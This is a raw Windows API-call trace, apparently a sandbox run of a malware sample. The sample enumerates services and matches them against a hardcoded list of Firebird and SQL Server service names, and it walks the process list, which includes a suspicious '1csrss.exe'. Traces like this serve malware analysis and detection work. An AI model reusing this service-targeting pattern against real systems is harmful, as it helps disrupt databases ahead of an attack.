lstrlenW (lpString="netprofm") returned 8 [0297.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0297.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0297.088] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0297.088] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0297.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0297.088] lstrlenW (lpString="NgcSvc") returned 6 [0297.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0297.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0297.088] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0297.088] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0297.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0297.088] lstrlenW (lpString="NlaSvc") returned 6 [0297.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0297.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0297.088] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0297.088] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0297.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0297.089] lstrlenW (lpString="nsi") returned 3 [0297.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0297.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0297.089] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0297.089] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0297.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0297.089] lstrlenW (lpString="PcaSvc") returned 6 [0297.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0297.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0297.089] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0297.089] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0297.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0297.089] lstrlenW (lpString="PlugPlay") returned 8 [0297.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0297.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0297.089] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0297.089] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0297.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0297.089] lstrlenW (lpString="Power") returned 5 [0297.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0297.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0297.089] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0297.089] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0297.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0297.089] lstrlenW (lpString="ProfSvc") returned 7 [0297.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0297.089] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0297.089] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0297.089] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0297.089] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0297.089] lstrlenW (lpString="RpcEptMapper") returned 12 [0297.089] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0297.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0297.090] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0297.090] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0297.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0297.090] lstrlenW (lpString="RpcSs") returned 5 [0297.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0297.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0297.090] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0297.090] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0297.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0297.090] lstrlenW (lpString="SamSs") returned 5 [0297.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0297.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0297.090] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0297.090] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0297.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0297.090] lstrlenW (lpString="Schedule") returned 8 [0297.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0297.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0297.090] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0297.090] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0297.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0297.090] lstrlenW (lpString="SecurityHealthService") returned 21 [0297.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0297.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0297.090] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0297.090] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0297.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0297.090] lstrlenW (lpString="SENS") returned 4 [0297.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0297.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0297.091] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0297.091] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0297.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0297.091] lstrlenW (lpString="ShellHWDetection") returned 16 [0297.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0297.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0297.091] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0297.091] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0297.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0297.091] lstrlenW (lpString="Spooler") returned 7 [0297.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0297.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0297.091] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0297.091] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0297.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0297.091] lstrlenW (lpString="SSDPSRV") returned 7 [0297.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0297.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0297.091] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0297.091] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0297.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0297.091] lstrlenW (lpString="StateRepository") returned 15 [0297.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0297.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0297.091] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0297.091] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0297.092] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4570b80 | out: hHeap=0x6e0000) returned 1 [0297.092] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x564 [0297.094] Process32FirstW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0297.095] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x96, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0297.096] lstrlenW (lpString="System") returned 6 [0297.096] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0297.096] lstrlenW (lpString="smss.exe") returned 8 [0297.097] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0297.097] lstrlenW (lpString="csrss.exe") returned 9 [0297.097] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0297.098] lstrlenW (lpString="wininit.exe") returned 11 [0297.098] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0297.099] lstrlenW (lpString="csrss.exe") returned 9 [0297.099] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0297.099] lstrlenW (lpString="winlogon.exe") returned 12 [0297.099] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0297.100] lstrlenW (lpString="services.exe") returned 12 [0297.100] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0297.101] lstrlenW (lpString="lsass.exe") returned 9 [0297.101] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0297.101] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0297.101] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0297.102] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0297.102] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.103] lstrlenW (lpString="svchost.exe") returned 11 [0297.103] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.103] lstrlenW (lpString="svchost.exe") returned 11 [0297.104] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0297.104] lstrlenW (lpString="dwm.exe") returned 7 [0297.104] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.105] lstrlenW (lpString="svchost.exe") returned 11 [0297.105] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.106] lstrlenW (lpString="svchost.exe") returned 11 [0297.106] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.106] lstrlenW (lpString="svchost.exe") returned 11 [0297.106] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.107] lstrlenW (lpString="svchost.exe") returned 11 [0297.107] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.108] lstrlenW (lpString="svchost.exe") returned 11 [0297.108] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.108] lstrlenW (lpString="svchost.exe") returned 11 [0297.108] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.109] lstrlenW (lpString="svchost.exe") returned 11 [0297.109] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.110] lstrlenW (lpString="svchost.exe") returned 11 [0297.110] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.111] lstrlenW (lpString="svchost.exe") returned 11 [0297.112] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.113] lstrlenW (lpString="svchost.exe") returned 11 [0297.113] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0297.113] lstrlenW (lpString="spoolsv.exe") returned 11 [0297.113] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0297.114] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0297.114] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0297.115] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0297.115] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0297.116] lstrlenW (lpString="Memory Compression") returned 18 [0297.116] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.116] lstrlenW (lpString="svchost.exe") returned 11 [0297.116] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0297.117] lstrlenW (lpString="audiodg.exe") returned 11 [0297.117] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0297.118] lstrlenW (lpString="sihost.exe") returned 10 [0297.118] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.118] lstrlenW (lpString="svchost.exe") returned 11 [0297.118] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0297.119] lstrlenW (lpString="taskhostw.exe") returned 13 [0297.119] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0297.120] lstrlenW (lpString="explorer.exe") returned 12 [0297.120] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0297.120] lstrlenW (lpString="SearchUI.exe") returned 12 [0297.120] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0297.121] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0297.121] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0297.122] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0297.122] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0297.123] lstrlenW (lpString="1csrss.exe") returned 10 [0297.123] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.123] lstrlenW (lpString="svchost.exe") returned 11 [0297.123] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0297.124] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0297.124] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0297.125] lstrlenW (lpString="svchost.exe") returned 11 [0297.125] Process32NextW (in: hSnapshot=0x564, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0297.125] CloseHandle (hObject=0x564) returned 1 [0297.125] Sleep (dwMilliseconds=0x1f4) [0297.660] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddfc0 [0297.660] EnumServicesStatusExW (in: hSCManager=0x7ddfc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0297.661] GetLastError () returned 0xea [0297.661] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x4572730 [0297.661] EnumServicesStatusExW (in: hSCManager=0x7ddfc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4572730, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4572730, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0297.661] CloseServiceHandle (hSCObject=0x7ddfc0) returned 1 [0297.662] lstrlenW (lpString="Appinfo") returned 7 [0297.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0297.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0297.662] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0297.662] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0297.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0297.662] lstrlenW (lpString="AppXSvc") returned 7 [0297.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0297.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0297.662] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0297.662] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0297.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0297.662] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0297.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0297.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0297.662] 